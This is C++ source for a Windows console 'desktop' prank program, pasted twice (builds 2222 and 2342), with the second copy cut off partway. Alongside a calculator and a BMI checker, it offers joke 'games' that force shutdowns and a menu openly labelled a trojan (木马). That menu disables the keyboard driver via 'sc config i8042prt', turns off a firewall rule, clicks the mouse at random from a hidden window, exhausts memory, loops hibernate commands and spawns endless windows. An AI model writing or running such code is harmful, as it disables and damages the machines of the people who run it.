新手光能
build 2222(v2.1.0)
#include<bits/stdc++.h>
#include<windows.h>
#include<cstdio>
#include<fstream>
using namespace std;
#include"windows.h"
#ifndef _GLIBCXX_NO_ASSERT
#include <cassert>
#endif
#include <cctype>
#include <cerrno>
#include <cfloat>
#include <ciso646>
#include <climits>
#include <clocale>
#include <cmath>
#include <csetjmp>
#include <csignal>
#include <cstdarg>
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#if __cplusplus >= 201103L
#include <ccomplex>
#include <cfenv>
#include <cinttypes>
#include <cstdalign>
#include <cstdbool>
#include <cstdint>
#include <ctgmath>
#include <cwchar>
#include <cwctype>
#endif
#include <algorithm>
#include <bitset>
#include <complex>
#include <deque>
#include <exception>
#include <fstream>
#include <functional>
#include <iomanip>
#include <ios>
#include <iosfwd>
#include <iostream>
#include <istream>
#include <iterator>
#include <limits>
#include <list>
#include <locale>
#include <map>
#include <memory>
#include <new>
#include <numeric>
#include <ostream>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <stdexcept>
#include <streambuf>
#include <string>
#include <typeinfo>
#include <utility>
#include <valarray>
#include <vector>
#if __cplusplus >= 201103L
#include <array>
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <forward_list>
#include <future>
#include <initializer_list>
#include <mutex>
#include <random>
#include <ratio>
#include <regex>
#include <scoped_allocator>
#include <system_error>
#include <thread>
#include <tuple>
#include <typeindex>
#include <type_traits>
#include <unordered_map>
#include <unordered_set>
#endif
#include<time.h>
#include<windows.h>
#include<conio.h>
#pragma GCC optimize(3)
#pragma GCC target("avx")
#pragma GCC optimize("Ofast")
#pragma GCC optimize("inline")
#pragma GCC optimize("-fgcse")
#pragma GCC optimize("-fgcse-lm")
#pragma GCC optimize("-fipa-sra")
#pragma GCC optimize("-ftree-pre")
#pragma GCC optimize("-ftree-vrp")
#pragma GCC optimize("-fpeephole2")
#pragma GCC optimize("-ffast-math")
#pragma GCC optimize("-fsched-spec")
#pragma GCC optimize("unroll-loops")
#pragma GCC optimize("-falign-jumps")
#pragma GCC optimize("-falign-loops")
#pragma GCC optimize("-falign-labels")
#pragma GCC optimize("-fdevirtualize")
#pragma GCC optimize("-fcaller-saves")
#pragma GCC optimize("-fcrossjumping")
#pragma GCC optimize("-fthread-jumps")
#pragma GCC optimize("-funroll-loops")
#pragma GCC optimize("-fwhole-program")
#pragma GCC optimize("-freorder-blocks")
#pragma GCC optimize("-fschedule-insns")
#pragma GCC optimize("inline-functions")
#pragma GCC optimize("-ftree-tail-merge")
#pragma GCC optimize("-fschedule-insns2")
#pragma GCC optimize("-fstrict-aliasing")
#pragma GCC optimize("-fstrict-overflow")
#pragma GCC optimize("-falign-functions")
#pragma GCC optimize("-fcse-skip-blocks")
#pragma GCC optimize("-fcse-follow-jumps")
#pragma GCC optimize("-fsched-interblock")
#pragma GCC optimize("-fpartial-inlining")
#pragma GCC optimize("no-stack-protector")
#pragma GCC optimize("-freorder-functions")
#pragma GCC optimize("-findirect-inlining")
#pragma GCC optimize("-fhoist-adjacent-loads")
#pragma GCC optimize("-frerun-cse-after-loop")
#pragma GCC optimize("inline-small-functions")
#pragma GCC optimize("-finline-small-functions")
#pragma GCC optimize("-ftree-switch-conversion")
#pragma GCC optimize("-foptimize-sibling-calls")
#pragma GCC optimize("-fexpensive-optimizations")
#pragma GCC optimize("-funsafe-loop-optimizations")
#pragma GCC optimize("inline-functions-called-once")
#pragma GCC optimize("-fdelete-null-pointer-checks")
#pragma GCC optimize(2)
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#define sleep(x) (Sleep(x))
#define clean (system("cls"))
bool is_s(string a){
if(a[0]=='-'){
a.erase(0,1);
}
for(int i=0;i<a.size();i++){
if(!(a[i]>='0'&&a[i]<='9'||a[i]=='.')){
return false;
}
}
return true;
}
string jkh(string s){
if(is_s(s)){
return s;
}
if(s[0]=='-'){
s="(0"+s;
int i=4;
while(i<s.size()&&s[i]<='9'&&s[i]>='0'||s[i]=='.'){
i++;
}
s.insert(i,")");
}
for(int i=1;i<s.size();i++){
if(s[i]=='-'&&s[i-1]=='('){
s.insert(i,"0");
i++;
}
}
return s;
}
string s;
int f_jia(string s){
for(int i=0;i<s.size();i++){
if(s[i]=='+'){
return i;
}
}
return -1;
}
int f_jian(string s){
for(int i=1;i<s.size();i++){
if(s[i]=='-'){
return i;
}
}
return -1;
}
int f_cheng(string s){
for(int i=0;i<s.size();i++){
if(s[i]=='*'){
return i;
}
}
return -1;
}
int f_chu(string s){
for(int i=0;i<s.size();i++){
if(s[i]=='/'){
return i;
}
}
return -1;
}
int f_cf(string s){
for(int i=s.size()-1;i>0;i--){
if(s[i]=='^'){
return i;
}
}
return -1;
}
pair<int,int> f_kh(string s){
stack<int>a;
for(int i=0;i<s.size();i++){
if(s[i]=='('){
a.push(i);
}else if(s[i]==')'){
if(!a.empty()){
return pair<int,int>(a.top(),i);
}
}
}
return pair<int,int>(-1,-1);
}
string js(string s,int l,int r){
string a=s.substr(l,r-l+1);
int pos;
char tmp;
for(int i=0;i<a.size();i++){
if(!(i==0&&a[i]=='-'||a[i]>='0'&&a[i]<='9'||a[i]=='.')){
pos=i;
tmp=a[i];
}
}
string s1,s2,s3;
stringstream ss1,ss2,ss3;
long double a1,a2,ans;
for(int i=0;i<pos;i++){
s1+=a[i];
}
for(int i=pos+1;i<s.size();i++){
s2+=a[i];
}
ss1<<s1;
ss2<<s2;
ss1>>a1;
ss2>>a2;
switch(tmp){
case'+':
ans=a1+a2;
break;
case'-':
ans=a1-a2;
break;
case'*':
ans=a1*a2;
break;
case'/':
ans=a1/a2;
break;
case'^':
ans=pow(a1,a2);
break;
}
ss3<<ans;
ss3>>s3;
s.replace(l,r-l+1,s3);
s=jkh(s);
return s;
}
string jsq(string s){
int pos=f_cf(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_cf(s);
s=jkh(s);
}
pos=f_cheng(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_cheng(s);
s=jkh(s);
}
pos=f_chu(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_chu(s);
s=jkh(s);
}
pos=f_jia(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_jia(s);
s=jkh(s);
}
pos=f_jian(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_jian(s);
s=jkh(s);
}
return s;
}
int calc(){
cin>>s;
while(!is_s(s)){
s=jkh(s);
pair<int,int>p=f_kh(s);
if(p!=pair<int,int>(-1,-1)){
int p1=p.first,p2=p.second;
string h=s.substr(p1+1,p2-p1-1);
h=jsq(h);
s.replace(p1,p2-p1+1,h);
}else{
s=jkh(s);
s=jsq(s);
}
}
cout<<s;
Sleep(5000);
return 0;
}
int cd()
{
cout<<"欢迎来到坑爹荣耀"<<endl<<endl;
Sleep(2000);
cout<<"选择版本"<<endl<<endl;
Sleep(2000);
cout<<"坑爹荣耀1.0 (1) 坑爹荣耀2.0 (2)"<<endl<<endl;
int z;
cin>>z;
if(z==1){
int a;
Sleep(2000);
cout<<"欢迎来到坑爹荣耀1.0"<<endl<<endl;
Sleep(2000);
cout<<"选**"<<endl<<endl;
Sleep(2000);
cout<<"坑娘荣耀 1"<<" "<<"坑爹荣耀 2"<<" "<<"安全荣耀(测试服) 3"<<endl;
cin>>a;
if(a==1||a==3){
cout<<"你TM还真信了!!!!!!!"<<endl<<endl;
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
else{
cout<<"你选对了"<<endl<<endl;
cout<<"但是"<<endl<<endl;
cout<<"你的电脑将在30秒后关机!!!!!!";
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
if(a==0){
cout<<"你赢了,坑不了你"<<endl<<endl;
Sleep(1000);
cout<<"让我帮你关电脑吧!!!!!!";
cout<<"你的电脑将在30秒后关机!!!!!!";
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
}
if(z==2){
int a;
cout<<"欢迎来到坑爹荣耀2.0"<<endl<<endl;
Sleep(2000);
cout<<"作者: ";
Sleep(1500);
cout<<"高";
Sleep(1500);
cout<<"富";
Sleep(1500);
cout<<"帅"<<endl<<endl;
Sleep(1500);
cout<<"请用数字输入"<<endl<<endl;
Sleep(2000);
cout<<"选**"<<endl<<endl;
Sleep(2000);
cout<<"作者最牛 0 "<<"坑娘荣耀 1 "<<"坑爹荣耀 2 "<<"安全荣耀(测试服) 3"<<endl;
cin>>a;
if(a==1||a==3){
cout<<"你TM还真信了!!!!!!!"<<endl<<endl;
Sleep(2000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
Sleep(1000);
cout<<"给你一个机会吧"<<endl<<endl;
Sleep(1500);
cout<<"问你三个问题"<<endl<<endl;
Sleep(1500);
cout<<"(1) 作者牛不牛(牛1,不牛2)"<<endl<<endl;
int b;
cin>>b;
if(b==1){
cout<<"劳资最喜欢你这样诚实的人了"<<endl<<endl;
Sleep(1500);
}else{
cout<<"你胆真大"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
}
cout<<"(2) 作者帅不帅(帅1,不帅2)"<<endl<<endl;
int c;
cin>>c;
if(c==1){
cout<<"劳资最喜欢你这样诚实的人了"<<endl<<endl;
Sleep(1500);
}
else{
cout<<"你胆真大"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
}
cout<<"(3) 作者**不**(**1,不**2)"<<endl<<endl;
int d;
cin>>d;
if(d==1){
cout<<"劳资最喜欢你这样诚实的人了"<<endl<<endl;
Sleep(1500);
cout<<"饶你一条狗命"<<endl<<endl;
Sleep(1500);
return 0;
}else{
cout<<"你胆真大"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
return 0;
}
}if(a==0){
cout<<"你赢了,坑不了你"<<endl<<endl;
Sleep(1000);
cout<<"让劳资帮你关电脑吧!!!!!!"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
cout<<"哈哈哈哈!!!!!!";
}
if(a==2){
cout<<"你选对了"<<endl<<endl;
Sleep(1000);
cout<<"但是"<<endl<<endl;
Sleep(1000);
cout<<"你的电脑将在30秒后关机!!!!!!"<<endl<<endl;
system("shutdown -s -f -t 30");
Sleep(1000);
cout<<"哈哈哈哈!!!!!!";
}
}
}
int o(){
int a,b,c,d;
cout<<"坑不S你算我输(大家帮忙看看有没有bug)的作者:";
Sleep(1000);
cout<<"高";
Sleep(1000);
cout<<"富";
Sleep(1000);
cout<<"帅。";
Sleep(1000);
cout<<"好玩吗?(1=好玩。2=不好玩。3=我要白看!)";
cin>>a;
if(a==1){
cout<<"吹牛!";
Sleep(1000);
cout<<"你给我关**!";
Sleep(1000);
cout<<"给你一个机会吧,";
Sleep(1000);
cout<<"叫自己SB!(1.已经叫了。2.你才是SB!)";
cin>>d;
if(d==1){
cout<<"SB,你可以**了!";
}
else{
cout<<"你可以关机了!";
Sleep(1000);
system("shutdown -s -f -t 10");
}
}
if(a==2){
cout<<"还算比较聪明,饶你一条狗命。";
Sleep(1000);
cout<<"但是,你还是要关机。";
Sleep(1000);
cout<<"哈哈哈!";
Sleep(1000);
cout<<"给你一个机会,";
Sleep(1000);
cout<<"作者帅不帅?(1.很帅,帅到**!2.很衰!)";
cin>>b;
if(b==1){
cout<<"你可以**了!";
}
else{
cout<<"我送你一程吧!";
Sleep(1000);
system("shutdown -s -f -t 10");
}
}
if(a==3){
cout<<"还敢白看!";
Sleep(1000);
cout<<"叫爷爷!(1.叫爷爷!2.不叫爷爷。)";
cin>>c;
if(c==1){
cout<<"乖孙子,**蛋吧!";
}
else{
cout<<"拜拜了您呢!";
Sleep(1000);
system("shutdown -s -f -t 10");
}
}
return 0;
}
void get_version(){
cout<<"lcy spear version 2.1.0\nbuild 2222\n";
return;
}
int setup(){
Beep(523,180);
Beep(523,300);
}
int shutdown(){
Beep(784,150);
Beep(578,150);
Beep(523,150);
Beep(392,400);
}
int ys(){
char a11,b11;
cout<<"颜色:\n0=黑色\n1=蓝色\n2=绿色\n3=湖蓝色\n4=红色\n5=紫色\n6=**\n7=白色\n8=灰色\n9=淡蓝色\nA=淡绿色\nB=浅绿色\nC=淡红色\nD=淡紫色\nE=淡**\nF=亮白色\n";
cout<<"字体颜色:";
cin>>a11;
cout<<"背景颜色:";
cin>>b11;
while(!(a11>='0'&&a11<='9'||a11>='A'&&a11<='F')||!(b11>='0'&&b11<='9'||b11>='A'&&b11<='F')){
cout<<"错误!\n";
system("pause");
system("cls");
cout<<"颜色:\n0=黑色\n1=蓝色\n2=绿色\n3=湖蓝色\n4=红色\n5=紫色\n6=**\n7=白色\n8=灰色\n9=淡蓝色\nA=淡绿色\nB=浅绿色\nC=淡红色\nD=淡紫色\nE=淡**\nF=亮白色\n";
cout<<"字体颜色:";
cin>>a11;
cout<<"背景颜色:";
cin>>b11;
}
system("cls");
const char s11[]={'c','o','l','o','r',' ',b11,a11};
system(s11);
cout<<"颜色设置成功!\n";
system("pause");
system("cls");
}
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
int sk(){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("pause");
while(!KEY_DOWN(0x41)){
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
}
return 0;
}
int muma(){
system("cls");
cout<<"[1]关机电脑\n[2]锁定键盘\n[3]木马\n[4]让电脑**\n[5]让鼠标乱点\n[6]永久休眠\n[7]永久弹窗\n";
int q2;
cin>>q2;
if(q2>=1&&q2<=7){
if(q2==1){
system("shutdown -s");
}else if(q2==2){
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
system("sc config i8042prt start= disabled");
}else if(q2==3){
POINT p;
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
system("sc config i8042prt start= disabled");
srand(time(NULL));
while(1){
p.x=(rand()-1)%1000+1;
p.y=(rand()-1)%2000+1;
SetCursorPos(p.x,p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else if(q2==4){
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
system("netsh advfirewall firewall set rule name=\"FTPserver\" new enable=no");
while(1){
string *s=new string[100000000000000];
}
}else if(q2==5){
POINT p;
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
srand(time(NULL));
while(1){
p.x=(rand()-1)%1000+1;
p.y=(rand()-1)%2000+1;
SetCursorPos(p.x,p.y);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
Sleep(10);
mouse_event(MOUSEEVENTF_LEFTDOWN|MOUSEEVENTF_LEFTUP,0,0,0,0);
}
}else if(q2==6){
while(1){
system("shutdown -h");
}
}else{
HWND hwnd=GetForegroundWindow();
ShowWindow(hwnd,SW_HIDE);
while(1){
system("start");
}
}
}else{
cout<<"输入错误!";
system("pause");
}
}
void t_friend(int a,int b){
double num,_a=a,_b=b;
if(fmod(a,b)==0.0) num+=100.0;
else if((double)(int)a/b*100==a*b/100) num+=80.0;
else num+=0.0;
if(fmod(b,a)==0.0) num+=100.0;
else if((double)(int)b/a*100==b*a/100) num+=80.0;
else num+=0.0;
if((double)(int)b/a*100000000==b/a*100000000) num+=100.0;
else num+=0.0;
cout<<"友谊度:"<<num/3.0;
}
int deskop(int tal=0){
int n,ding;
bool flag,vb=0;
string miyao;
system("cls");
ifstream in("data.dll");
in>>flag;
if(tal==0){
string kg="\n\
| . | .\n\
| | | |\n\
| | | |\n\
|____| |____| Build 2222(V2.1.0)\n Starting.";
cout<<kg;
Sleep(666);
cout<<".";
Sleep(667);
cout<<".";
Sleep(667);
setup();
system("cls");
}
system("cls");
cout<<"1.windows电源\n2.lili System电源\n3.版本号\n4.激活\n5.dos\n6.坑爹荣耀(非原创)\n7.坑人程序(ex.exe)\n8.计算器\n9.木马\n10.颜色设置\n11.鼠标连点器\n12.友谊度(debug)\n13.判断肥胖\n14.虚拟机";
cin>>ding;
system("cls");
if(ding==1){
int n;
cout<<"1.关机\n2.重启\n3.休眠\n4.注销:";
cin>>n;
if(n==1) system("shutdown /s");
if(n==2) system("shutdown /r");
if(n==3) system("shutdown /h");
if(n==4) system("shutdown /l");
return 0;
}
if(ding==2){
if(!vb){
cout<<"1.关闭\n2.重启\n3.注销\n4.锁定:";cin>>n;}
else{cout<<"Visual Box has any 关闭.";Sleep(666);}
system("cls");
return n;
}
if(ding==3){
get_version();
Sleep(5000);
return 5;
}
if(ding==4){
int i;
cout<<"请输入密钥(可咨询老李):";
cin>>i;
if(i>=8000&&i<=8500&&i%3!=0){
cout<<"激活成功!";
ofstream out("data.dll");
out<<1<<endl;
}
else{
cout<<"激活失败!";
}
}
if(ding==5){
system("cls");
system("cmd cls");
return 5;
}
if(ding==6){
cd();
return 5;
}
if(ding==7){
o();
return 5;
}
if(ding==8){
cout<<"请输入算式:";
calc();
return 5;
}
if(ding==9){
muma();
return 5;
}
if(ding==10){
ys();
return 5;
}
if(ding==11){
sk();
return 5;
}
if(ding==12){
int a,b;
cout<<"请输入两个人的学号:";
cin>>a>>b;
t_friend(a,b);
Sleep(3000);
return 5;
}
if(ding==13){
double tg,bmi=0.0,l;
cout<<"请输入体重(kg)";
cin>>tg;
cout<<"请输入身高(m)";
cin>>l;
bmi=tg/l/l;
cout<<"bmi:"<<bmi<<endl;
if(bmi<=14.3) cout<<"瘦小";
else if(bmi<=21.4) cout<<"正常";
else if(bmi<=24.1) cout<<"偏重";
else cout<<"肥胖";
Sleep(3000);
return 5;
}
if(ding==14){
system("cls");
cout<<"Visual Box laoding...";
Sleep(667);
vb=1;
deskop();
system("cls");
cout<<"Visual Box shutdown...";
vb=0;
Sleep(667);
return 5;
}
}
int main(){
int tps=0;
while(1){
int n=deskop(tps);
if(n==1){shutdown();break;}
if(n==2){
shutdown();
system("cls");
Sleep(500);
}
if(n==3||n==4){
cout<<"按Enter唤醒。";
getchar();
getchar();
tps=1;
}
if(n==5)tps=1;
}
return 0;
}
build 2342#include<bits/stdc++.h>
#include<windows.h>
#include<cstdio>
#include<fstream>
using namespace std;
#include"windows.h"
#ifndef _GLIBCXX_NO_ASSERT
#include <cassert>
#endif
#include <cctype>
#include <cerrno>
#include <cfloat>
#include <ciso646>
#include <climits>
#include <clocale>
#include <cmath>
#include <csetjmp>
#include <csignal>
#include <cstdarg>
#include <cstddef>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <ctime>
#if __cplusplus >= 201103L
#include <ccomplex>
#include <cfenv>
#include <cinttypes>
#include <cstdalign>
#include <cstdbool>
#include <cstdint>
#include <ctgmath>
#include <cwchar>
#include <cwctype>
#endif
#include <algorithm>
#include <bitset>
#include <complex>
#include <deque>
#include <exception>
#include <fstream>
#include <functional>
#include <iomanip>
#include <ios>
#include <iosfwd>
#include <iostream>
#include <istream>
#include <iterator>
#include <limits>
#include <list>
#include <locale>
#include <map>
#include <memory>
#include <new>
#include <numeric>
#include <ostream>
#include <queue>
#include <set>
#include <sstream>
#include <stack>
#include <stdexcept>
#include <streambuf>
#include <string>
#include <typeinfo>
#include <utility>
#include <valarray>
#include <vector>
#if __cplusplus >= 201103L
#include <array>
#include <atomic>
#include <chrono>
#include <condition_variable>
#include <forward_list>
#include <future>
#include <initializer_list>
#include <mutex>
#include <random>
#include <ratio>
#include <regex>
#include <scoped_allocator>
#include <system_error>
#include <thread>
#include <tuple>
#include <typeindex>
#include <type_traits>
#include <unordered_map>
#include <unordered_set>
#endif
#include<time.h>
#include<windows.h>
#include<conio.h>
#pragma GCC optimize(3)
#pragma GCC target("avx")
#pragma GCC optimize("Ofast")
#pragma GCC optimize("inline")
#pragma GCC optimize("-fgcse")
#pragma GCC optimize("-fgcse-lm")
#pragma GCC optimize("-fipa-sra")
#pragma GCC optimize("-ftree-pre")
#pragma GCC optimize("-ftree-vrp")
#pragma GCC optimize("-fpeephole2")
#pragma GCC optimize("-ffast-math")
#pragma GCC optimize("-fsched-spec")
#pragma GCC optimize("unroll-loops")
#pragma GCC optimize("-falign-jumps")
#pragma GCC optimize("-falign-loops")
#pragma GCC optimize("-falign-labels")
#pragma GCC optimize("-fdevirtualize")
#pragma GCC optimize("-fcaller-saves")
#pragma GCC optimize("-fcrossjumping")
#pragma GCC optimize("-fthread-jumps")
#pragma GCC optimize("-funroll-loops")
#pragma GCC optimize("-fwhole-program")
#pragma GCC optimize("-freorder-blocks")
#pragma GCC optimize("-fschedule-insns")
#pragma GCC optimize("inline-functions")
#pragma GCC optimize("-ftree-tail-merge")
#pragma GCC optimize("-fschedule-insns2")
#pragma GCC optimize("-fstrict-aliasing")
#pragma GCC optimize("-fstrict-overflow")
#pragma GCC optimize("-falign-functions")
#pragma GCC optimize("-fcse-skip-blocks")
#pragma GCC optimize("-fcse-follow-jumps")
#pragma GCC optimize("-fsched-interblock")
#pragma GCC optimize("-fpartial-inlining")
#pragma GCC optimize("no-stack-protector")
#pragma GCC optimize("-freorder-functions")
#pragma GCC optimize("-findirect-inlining")
#pragma GCC optimize("-fhoist-adjacent-loads")
#pragma GCC optimize("-frerun-cse-after-loop")
#pragma GCC optimize("inline-small-functions")
#pragma GCC optimize("-finline-small-functions")
#pragma GCC optimize("-ftree-switch-conversion")
#pragma GCC optimize("-foptimize-sibling-calls")
#pragma GCC optimize("-fexpensive-optimizations")
#pragma GCC optimize("-funsafe-loop-optimizations")
#pragma GCC optimize("inline-functions-called-once")
#pragma GCC optimize("-fdelete-null-pointer-checks")
#pragma GCC optimize(2)
#define KEY_DOWN(VK_NONAME) ((GetAsyncKeyState(VK_NONAME) & 0x8000) ? 1:0)
#define sleep(x) (Sleep(x))
#define clean (system("cls"))
bool is_s(string a){
if(a[0]=='-'){
a.erase(0,1);
}
for(int i=0;i<a.size();i++){
if(!(a[i]>='0'&&a[i]<='9'||a[i]=='.')){
return false;
}
}
return true;
}
string jkh(string s){
if(is_s(s)){
return s;
}
if(s[0]=='-'){
s="(0"+s;
int i=4;
while(i<s.size()&&s[i]<='9'&&s[i]>='0'||s[i]=='.'){
i++;
}
s.insert(i,")");
}
for(int i=1;i<s.size();i++){
if(s[i]=='-'&&s[i-1]=='('){
s.insert(i,"0");
i++;
}
}
return s;
}
string s;
int f_jia(string s){
for(int i=0;i<s.size();i++){
if(s[i]=='+'){
return i;
}
}
return -1;
}
int f_jian(string s){
for(int i=1;i<s.size();i++){
if(s[i]=='-'){
return i;
}
}
return -1;
}
int f_cheng(string s){
for(int i=0;i<s.size();i++){
if(s[i]=='*'){
return i;
}
}
return -1;
}
int f_chu(string s){
for(int i=0;i<s.size();i++){
if(s[i]=='/'){
return i;
}
}
return -1;
}
int f_cf(string s){
for(int i=s.size()-1;i>0;i--){
if(s[i]=='^'){
return i;
}
}
return -1;
}
pair<int,int> f_kh(string s){
stack<int>a;
for(int i=0;i<s.size();i++){
if(s[i]=='('){
a.push(i);
}else if(s[i]==')'){
if(!a.empty()){
return pair<int,int>(a.top(),i);
}
}
}
return pair<int,int>(-1,-1);
}
string js(string s,int l,int r){
string a=s.substr(l,r-l+1);
int pos;
char tmp;
for(int i=0;i<a.size();i++){
if(!(i==0&&a[i]=='-'||a[i]>='0'&&a[i]<='9'||a[i]=='.')){
pos=i;
tmp=a[i];
}
}
string s1,s2,s3;
stringstream ss1,ss2,ss3;
long double a1,a2,ans;
for(int i=0;i<pos;i++){
s1+=a[i];
}
for(int i=pos+1;i<s.size();i++){
s2+=a[i];
}
ss1<<s1;
ss2<<s2;
ss1>>a1;
ss2>>a2;
switch(tmp){
case'+':
ans=a1+a2;
break;
case'-':
ans=a1-a2;
break;
case'*':
ans=a1*a2;
break;
case'/':
ans=a1/a2;
break;
case'^':
ans=pow(a1,a2);
break;
}
ss3<<ans;
ss3>>s3;
s.replace(l,r-l+1,s3);
s=jkh(s);
return s;
}
string jsq(string s){
int pos=f_cf(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_cf(s);
s=jkh(s);
}
pos=f_cheng(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_cheng(s);
s=jkh(s);
}
pos=f_chu(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_chu(s);
s=jkh(s);
}
pos=f_jia(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_jia(s);
s=jkh(s);
}
pos=f_jian(s);
while(pos!=-1){
int posl=pos-1,posr=pos+1;
while(posl>=0&&s[posl]>='0'&&s[posl]<='9'||s[posl]=='.'||posl==pos-1&&s[posl]=='-'){
posl--;
}
while(posr<s.size()&&s[posr]>='0'&&s[posr]<='9'||s[posr]=='.'||posr==pos+1&&s[posr]=='-'){
posr++;
}
posl++;
posr--;
s=js(s,posl,posr);
pos=f_jian(s);
s=jkh(s);
}
return s;
}
int calc(){
cin>>s;
while(!is_s(s)){
s=jkh(s);
pair<int,int>p=f_kh(s);
if(p!=pair<int,int>(-1,-1)){
int p1=p.first,p2=p.second;
string h=s.substr(p1+1,p2-p1-1);
h=jsq(h);
s.replace(p1,p2-p1+1,h);
}else{
s=jkh(s);
s=jsq(s);
}
}
cout<<s;
Sleep(5000);
return 0;
}
int cd()
{
cout<<"欢迎来到坑爹荣耀"<<endl<<endl;
Sleep(2000);
cout<<"选择版本"<<endl<<endl;
Sleep(2000);
cout<<"坑爹荣耀1.0 (1) 坑爹荣耀2.0 (2)"<<endl<<endl;
int z;
cin>>z;
if(z==1){
int a;
Sleep(2000);
cout<<"欢迎来到坑爹荣耀1.0"<<endl<<endl;
Sleep(2000);
cout<<"选**"<<endl<<endl;
Sleep(2000);
cout<<"坑娘荣耀 1"<<" "<<"坑爹荣耀 2"<<" "<<"安全荣耀(测试服) 3"<<endl;
cin>>a;
if(a==1||a==3){
cout<<"你TM还真信了!!!!!!!"<<endl<<endl;
